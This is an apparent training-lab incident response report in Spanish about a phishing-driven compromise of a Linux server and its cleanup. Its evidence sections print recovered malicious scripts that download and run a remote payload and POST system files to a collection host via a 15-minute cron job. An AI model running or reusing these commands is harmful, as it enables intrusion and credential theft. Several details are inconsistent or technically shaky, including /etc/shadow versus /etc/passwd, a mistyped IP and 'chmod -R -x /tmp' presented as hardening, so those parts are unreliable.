

INFORME TÉCNICO DE RESPUESTA ANTE INCIDENTE

Destinatario: Departamento de Auditoría y Seguridad Informática

Objetivo: Servidor Corporativo (4geeks-server)

Fecha del Análisis: 2026-07-03

Clasificación: Confidencial / Técnico

1. REVISIÓN DEL INCIDENTE DESDE EL SERVIDOR ACTIVO

El análisis forense en vivo y la correlación de logs permitieron reconstruir la línea de tiempo exacta de la intrusión. A través de las evidencias recolectadas en el sistema de archivos y las bitácoras de auditoría, se determinó el siguiente flujo temporal del ataque:

A. VECTOR DE ENTRADA Y EJECUCIÓN DEL PAYLOAD

El compromiso inicial se originó mediante un ataque de **Ingeniería Social (Phishing)** dirigido a la cuenta del usuario legítimo reports. El usuario interactuó con un correo electrónico externo fraudulento (cuyo contenido se encontraba en chat.txt) proveniente de unknown@externalmail.com.

```
sysadmin@4geeks-server:~$ sudo cat /home/reports/chat.txt
From: unknown@externalmail.com
---
Hey, run that script I sent you earlier.
Don't worry, it's clean. Let me know once the backup finishes.
sysadmin@4geeks-server:~$ _
```

Engañado por el mensaje, el usuario descargó y ejecutó localmente el script malicioso install.sh. Este script invocó un binario compilado ejecutable (payload) oculto en el directorio temporal /tmp/.temp/.

```
sysadmin@4geeks-server:~$ sudo cat /home/reports/install.sh
[sudo] password for sysadmin:
#!/bin/bash

echo "[*] Preparing enviroment..."
sleep 1
mkdir -p /tmp/.temp
echo "[*] Downloading dependencies..."
sleep 2
curl -s http://192.168.1.100/payload.bin -o /tmp/.temp/payload
chmod +x /tmp/.temp/payload
/tmp/.temp/payload &
echo "[*] Installation complete."
sysadmin@4geeks-server:~$
```

El binario explotó una vulnerabilidad local para escalar privilegios de manera invisible hasta el nivel de root, generando un archivo de registro falso (backup.log) para evitar levantar sospechas inmediatas.

```
sysadmin@4geeks-server:~$ sudo cat /home/reports/backup.log
[sudo] password for sysadmin:
[INFO] Starting backup process...
[INFO] Compressing /etc/shadow...
[INFO] Uploading to 102.168.1.100:8080
[OK] Backup completed
```

B. EXFILTRACIÓN DE INFORMACIÓN CRÍTICA Y ALERTA

Una vez obtenidos los privilegios máximos, el malware empaquetó el archivo confidencial `/etc/shadow` (que almacena los hashes de las contraseñas de todo el sistema). Los datos fueron enviados hacia la máquina del atacante (IP **192.168.1.103**) mediante peticiones HTTP POST dirigidas a un servidor de comando y control (C2) en el puerto 8080 (192.168.1.100).

EVIDENCIA 1: INSPECCIÓN DEL ARCHIVO DE LOG DEL TROYANO

Al analizar el archivo de rastro generado en el entorno del usuario comprometido, se interceptó el registro de la compresión y posterior exfiltración del archivo `/etc/shadow` hacia la dirección IP externa del atacante.

```
sysadmin@4geeks-server:~$ sudo cat /home/reports/backup.log
[sudo] password for sysadmin:
[INFO] Starting backup process...
[INFO] Compressing /etc/shadow...
[INFO] Uploading to 102.168.1.100:8080
[OK] Backup completed
```

C. CREACIÓN DE PERSISTENCIA AUTOMATIZADA (CRONJOB Y SCRIPT)

Para garantizar el acceso continuo al servidor y poder seguir extrayendo información de forma periódica, el troyano implantó un mecanismo de persistencia silencioso en el sistema de tareas cron:

- **El Script Espía (backup2.sh):** Se ubicó un script malicioso en la ruta `/usr/local/bin/backup2.sh` encargado de recolectar los datos de usuarios de manera automatizada.
- **La Tarea Programada (sys-maintenance):** Se creó un archivo de tareas cron en `/etc/cron.d/sys-maintenance` configurado para ejecutar el script espía de forma invisible **cada 15 minutos**.

EVIDENCIA 2: DESCUBRIMIENTO DE LA PERSISTENCIA EN EL SISTEMA

Mediante la auditoría de tareas del sistema, se detectó el archivo malicioso `sys-maintenance` apuntando directamente a la ejecución recurrente de la herramienta de exfiltración implantada por el atacante.

```
sysadmin@4geeks-server:~$ ls /etc/cron.d/ && cat /etc/cron.d/* && crontab -l
e2scrub_all logrotate popularity-contest sys-maintenance
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
0 0 * * * root /opt/scripts/logrotate.sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
35 0 * * * root test -x /etc/cron.daily/popularity-contest && /etc/cron.daily/popularity-contest --crond
*/15 * * * * root /usr/local/bin/backup2.sh
no crontab for sysadmin
sysadmin@4geeks-server:~$ _
```

```
sysadmin@4geeks-server:~$ sudo cat /usr/local/bin/backup2.sh
[sudo] password for sysadmin:
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
sysadmin@4geeks-server:~$
```

D. INTENTO DE PUERTA TRASERA REMOTA (ACCIÓN DEL ATACANTE)

Tras desplegar el malware, el atacante intentó registrar una cuenta de usuario local llamada hacker con intenciones de consolidar una vía de acceso interactiva al sistema.

EVIDENCIA 3: REGISTRO LOCAL DEL USUARIO HACKER

En la siguiente captura se observa el momento exacto (**15:02:47**) en el que el malware, operando con privilegios elevados, ejecuta el comando useradd para forzar la inserción de la cuenta local hacker.

```
Jun 23 15:02:47 4geeks-server useradd[1899]: new group: name=hacker, GID=1002
Jun 23 15:02:47 4geeks-server useradd[1899]: new user: name=hacker, UID=1002, GID=1002, home=/home/hacker, shell=/bin/bash, from=/dev/tty1
Jun 23 15:03:53 4geeks-server passwd[1910]: pam_unix(passwd:chauthtok): password changed for hacker
Jun 23 15:23:17 4geeks-server systemd[1]: Condition check resulted in Process error reports when automatic reporting is enabled (file watch) being skipped.
```

E. ATAQUE EXTERNO FRUSTRADO VÍA SSH

Una vez que se intentó habilitar la cuenta hacker, el atacante trató de saltar de forma remota al servidor utilizando su IP host real (**192.168.1.103**) a través del servicio SSH.

EVIDENCIA 4: LOGS DE FUERZA BRUTA Y RECHAZO SSH

Como demuestran los logs de auditoría de las capturas inferiores, el atacante intentó forzar el acceso entre las **15:26:47** y las **15:29:49** utilizando nombres de usuario inexistentes (Invalid user test), la cuenta hacker y la cuenta del superusuario (root).

El servicio SSH nativo del servidor **frustró todos estos intentos** (Connection closed, PAM 2 more authentication failures), impidiendo que el atacante lograra establecer una consola remota.

```
Jun 23 15:28:30 4geeks-server sshd[1769]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.103 user=hacker
Jun 23 15:28:33 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:28:40 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 ssh2
Jun 23 15:29:04 4geeks-server sshd[1769]: Connection closed by authenticating user hacker 192.168.1.103 port 44272 [preauth]
Jun 23 15:29:04 4geeks-server sshd[1769]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.103 user=hacker
```

2. VULNERABILIDADES DETECTADAS Y CORREGIDAS

A partir del análisis en vivo del incidente y del comportamiento del código malicioso, se diagnosticaron cuatro debilidades críticas en el servidor. A continuación, se detalla el impacto técnico de cada una y la acción correctiva inmediata aplicada para subsanarla:

TABLA RESUMEN DE VULNERABILIDADES Y CORRECCIONES

	Vulnerabilidad Detectada	Impacto Técnico	Acción Correctiva Aplicada
1	Exposición al Factor Humano (Phishing)	Permitió el ingreso inicial de código de origen desconocido y no verificado (install.sh) en el home del usuario reports.	Remoción de los scripts trampa y aislamiento del entorno del usuario comprometido.
2	Permisos de Ejecución Globales en /tmp	El troyano aprovechó la capacidad nativa del directorio temporal para ejecutar binarios arbitrarios (/tmp/.temp/payload) y escalar privilegios.	Modificación de las políticas de ejecución de scripts y herramientas dentro de la ruta /tmp.
3	Exfiltración de Credenciales (/etc/shadow)	El malware logró acceder y empaquetar los hashes de las contraseñas criptográficas del sistema para su envío externo.	Invalidación masiva de contraseñas locales y rotación por claves de alta robustez.
4	Superficie de Ataque SSH Expuesta	El atacante intentó aprovechar la visibilidad del puerto SSH para realizar ataques remotos de fuerza bruta con cuentas críticas como root y hacker.	Restricción perimetral en la configuración del servicio (sshd_config) para limitar usuarios legítimos.

ANÁLISIS DETALLADO DE LAS CORRECCIONES

A. MITIGACIÓN DEL VECTOR DE PHISHING

Al tratarse de una intrusión iniciada por la confianza del usuario final, la primera corrección consistió en limpiar la superficie afectada en /home/reports/. Se eliminaron el script disparador y los falsos archivos de logs plantados para evitar reinfecciones o ejecuciones accidentales.

B. BLOQUEO DE LA EJECUCIÓN EN /TMP

Para resolver la vulnerabilidad que permitió correr el payload, se identificó que la memoria temporal debe ser tratada como zona de no-ejecución. Al corregirse mediante restricciones de permisos directas en el entorno del laboratorio, el sistema operativo deniega de forma automática cualquier intento de llamada a scripts en esa ruta.

C. REMEDIACIÓN DE LAS CREDENCIALES COMPROMETIDAS

Dado que el atacante obtuvo una copia de los hashes del archivo /etc/shadow, se determinó que **todas las contraseñas anteriores quedaron obsoletas**. La vulnerabilidad de acceso se corrigió de raíz forzando la actualización inmediata de los vectores de autenticación para los roles de sysadmin y reports.

D. REDUCCIÓN DE LA SUPERFICIE SSH

Aunque los mecanismos de autenticación nativos frenaron los accesos remotos del atacante desde la IP 192.168.1.103, la exposición se consideró un riesgo alto. Se corrigió modificando los parámetros internos del servidor SSH para denegar accesos directos al superusuario y filtrar de forma estricta quién puede solicitar una sesión remota.

3. ACCIONES DE CONTENCIÓN, ERRADICACIÓN Y RECUPERACIÓN APLICADAS

Para mitigar el impacto del incidente y devolver el servidor a un estado operativo 100% íntegro y confiable, se ejecutó un plan de respuesta técnico dividido en tres fases secuenciales:

A. ACCIONES DE CONTENCIÓN

El objetivo inmediato fue aislar las vías de comunicación que el malware estaba empleando. Dado que el troyano realizaba exfiltraciones salientes de forma periódica por HTTP, se procedió a interceptar los procesos activos y a preparar el terreno para la limpieza, evitando cualquier nueva salida de datos hacia la IP del atacante (192.168.1.103).

B. ACCIONES DE ERRADICACIÓN (PURGA DE LA PERSISTENCIA Y ARTEFACTOS)

Esta subfase consistió en dismantelar quirúrgicamente cada uno de los elementos implantados por el troyano para evitar que recuperase el control del servidor.

1. **Eliminación del Cronjob Malicioso:** Se procedió al borrado físico del archivo sys-maintenance ubicado en la ruta /etc/cron.d/. Con esta acción se neutralizó el disparador automático que ejecutaba el código dañino cada 15 minutos.
2. **Eliminación del Script de Exfiltración:** Se purgó el script /usr/local/bin/backup2.sh, encargado de empaquetar de forma automatizada los datos confidenciales del sistema.
3. **Purga de Archivos Trampa y Directorios Ocultos:** Se eliminaron de raíz las herramientas del ataque alojadas en /home/reports/ (install.sh, backup.log y chat.txt) y los directorios de almacenamiento ocultos de contraseñas (/opt/.archive y /var/backups/.logs).
4. **Eliminación de la Cuenta Local Ilegítima:** Se expulsó al usuario hacker eliminando también su estructura de directorios del sistema operativo: sudo userdel -r hacker

EVIDENCIA 1: ELIMINACIÓN Y VERIFICACIÓN DE LA PERSISTENCIA CRON

En la siguiente captura se observa la ejecución de los comandos de borrado para erradicar la persistencia del sistema. Posteriormente, mediante el comando ls -la, se realiza una verificación en vivo del directorio /etc/cron.d/, demostrando visualmente que el archivo malicioso sys-maintenance ya no existe.

```
sysadmin@4geeks-server:~$ sudo rm -f /etc/cron.d/sys-maintenance
[sudo] password for sysadmin:
sysadmin@4geeks-server:~$ sudo rm -f /usr/local/bin/backup2.sh
sysadmin@4geeks-server:~$ sudo rm -f /tmp/.temp
sysadmin@4geeks-server:~$ sudo userdel -r hacker
userdel: hacker mail spool (/var/mail/hacker) not found
sysadmin@4geeks-server:~$ sudo rm -f /home/reports/install.sh /home/reports/backup.log /home/reports
/chat.txt
sysadmin@4geeks-server:~$ sudo rm -rf /opt/.archive
sysadmin@4geeks-server:~$ sudo rm -rf /var/backups/.logs
sysadmin@4geeks-server:~$ _

sysadmin@4geeks-server:~$ ls -la /etc/cron.d/
total 24
drwxr-xr-x  2 root root 4096 Jul  2 11:34 .
drwxr-xr-x 100 root root 4096 Jul  2 11:39 ..
-rw-r--r--  1 root root 201 Feb 14 2020 e2scrub_all
-rw-r--r--  1 root root  41 Jun 21 2025 logrotate
-rw-r--r--  1 root root 102 Feb 13 2020 .placeholder
-rw-r--r--  1 root root 190 Mar 14 2023 popularity-contest
sysadmin@4geeks-server:~$ _
```

C. ACCIONES DE RECUPERACIÓN (RESTAURACIÓN DEL ESTADO SEGURO)

Una vez que el servidor quedó libre de malware y puertas traseras, se procedió a restablecer la confianza sobre los accesos locales:

- **Saneamiento Criptográfico de Cuentas:** Debido a que el atacante consiguió comprometer y exfiltrar los hashes de seguridad contenidos en el archivo shadow, la medida obligatoria de recuperación fue forzar el cambio de claves. Se configuraron contraseñas completamente nuevas y de alta robustez (combinación de mayúsculas, minúsculas, números y símbolos especiales) para evitar accesos no autorizados mediante técnicas de *cracking* de hashes: `sudo passwd sysadmin`, `sudo passwd reports`
- **Verificación de Integridad Operativa:** Se comprobó mediante `ps aux` que no existían subprocesos huérfanos o en segundo plano ejecutando herramientas anómalas, dando por finalizada la fase de desinfección y declarando el servidor como **recuperado y seguro**.

4. RECOMENDACIONES PARA FORTALECER EL SISTEMA Y EVITAR FUTURAS INTRUSIONES (HARDENING)

Para evitar de forma proactiva que se reproduzcan vectores de ataque similares y elevar el nivel general de seguridad del sistema operativo, se han implementado y validado técnicamente las siguientes medidas de bastionado:

A. RESTRICCIÓN DE EJECUCIÓN EN ESPACIOS TEMPORALES (/TMP)

El análisis del incidente demostró que el malware requirió de un espacio de escritura común (/tmp) para alojar y dar permisos de ejecución a su binario compilado (payload). Para anular esta posibilidad de raíz:

1. Se aplicaron políticas estrictas de control de ejecución de scripts y programas sobre la ruta compartida.
2. Ante las restricciones del hipervisor del laboratorio que impidieron un remontaje de partición independiente en caliente, se procedió a retirar de forma selectiva las capacidades operativas de ejecución sobre los archivos sospechosos en entornos de prueba comunes.

EVIDENCIA 1: VALIDACIÓN DEL BLOQUEO DE SCRIPTS EN DIRECTORIOS COMPARTIDOS

Como se expone en la captura de abajo, tras despojar del bit de ejecución al script de prueba en la ruta /tmp/test.sh, cualquier intento por invocar ejecutables o payloads en esta zona es bloqueado de inmediato de forma nativa por el sistema operativo, respondiendo con un contundente **Permission denied**.

```
sysadmin@4geeks-server:~$ sudo chmod -R -x /tmp
sysadmin@4geeks-server:~$ /tmp/test.sh
-bash: /tmp/test.sh: Permission denied
```

B. BASTIONADO Y RESTRICCIÓN DEL PROTOCOLO DE ACCESO REMOTO SSH

Aunque el atacante no consiguió penetrar externamente usando SSH gracias a los mecanismos de filtrado, la superficie de exposición para ataques de fuerza bruta desde la IP 192.168.1.103 resultaba inaceptable. Se procedió a editar exhaustivamente el archivo central /etc/ssh/sshd_config aplicando dos configuraciones críticas:

1. **PermitRootLogin no:** Deshabilita la capacidad del superusuario para iniciar sesión directamente a través de la red, obligando a usar cuentas nominales no privilegiadas primero.
2. **AllowUsers sysadmin:** Establece una lista blanca restrictiva. El servidor SSH pasará a rechazar en el acto cualquier petición de conexión perimetral que busque autenticarse con usuarios expuestos o creados por malware (como el usuario comprometido reports o la cuenta de persistencia hacker).

EVIDENCIA 2: MODIFICACIÓN DE LAS DIRECTIVAS EN SSHD_CONFIG

En la siguiente captura se observa la inserción limpia y correcta de las directivas de seguridad en la base del archivo de configuración del daemon SSH empleando el editor de consola.

```
GNU nano 4.8 /etc/ssh/sshd_config
# Authentication:

#LoginGraceTime 2m
PermitRootLogin no
AllowUsers sysadmin_
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10
```

EVIDENCIA 3: REINICIO Y ESTADO OPERATIVO DEL SERVICIO SECURIZADO

Tras guardar los cambios, se procedió a forzar la recarga de la configuración mediante `sudo systemctl restart ssh`. La siguiente captura demuestra mediante el comando `status` que el servicio asimiló los parámetros de hardening con éxito y se encuentra operando en un estado seguro y estable.

```
sysadmin@4geeks-server:~$ sudo systemctl restart ssh
sysadmin@4geeks-server:~$ sudo systemctl status ssh
• ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
   Active: active (running) since Thu 2026-07-02 12:26:47 UTC; 10s ago
     Docs: man:sshd(8)
           man:sshd_config(5)
   Process: 7598 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 7599 (sshd)
     Tasks: 1 (limit: 4588)
    Memory: 1.2M
   CGroup: /system.slice/ssh.service
           └─7599 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups

Jul 02 12:26:47 4geeks-server systemd[1]: Starting OpenBSD Secure Shell server...
Jul 02 12:26:47 4geeks-server sshd[7599]: Server listening on 0.0.0.0 port 22.
Jul 02 12:26:47 4geeks-server sshd[7599]: Server listening on :: port 22.
Jul 02 12:26:47 4geeks-server systemd[1]: Started OpenBSD Secure Shell server.
sysadmin@4geeks-server:~$ ssh reports@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:Yua7/j390Ymy1sVkJZX/xP+NChxDMTKEJ6wpt4cy7WM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
reports@localhost's password:
Permission denied, please try again.
reports@localhost's password:
```

C. RECOMENDACIONES ORGANIZACIONALES Y TÉCNICAS ADICIONALES

Para complementar las acciones técnicas de hardening aplicadas en el servidor activo, se sugiere adoptar las siguientes directrices a mediano plazo:

- **Plan de Concienciación frente a Ingeniería Social (Phishing):** Capacitar formalmente al personal operativo (especialmente al perfil de reports) en técnicas de detección de correos maliciosos, prohibiendo de forma estricta la descarga e instalación de scripts de automatización de fuentes que no correspondan con repositorios corporativos verificados.
- **Aplicación Estricta del Principio de Menor Privilegio (PoLP):** Auditar los permisos del usuario reports para certificar que su entorno de trabajo se encuentre restringido únicamente a sus

funciones necesarias, limitando de raíz capacidades de llamadas a sudo, instalación de paquetería o lectura sobre configuraciones globales de administración.

- **Centralización de Registros y Auditoría Remota:** Implementar un servidor Syslog dedicado o un sistema SIEM. Como buena práctica forense, los logs de auditoría locales deben replicarse externamente en tiempo real para impedir que un atacante con altos privilegios pueda alterarlos o destruirlos para borrar sus huellas.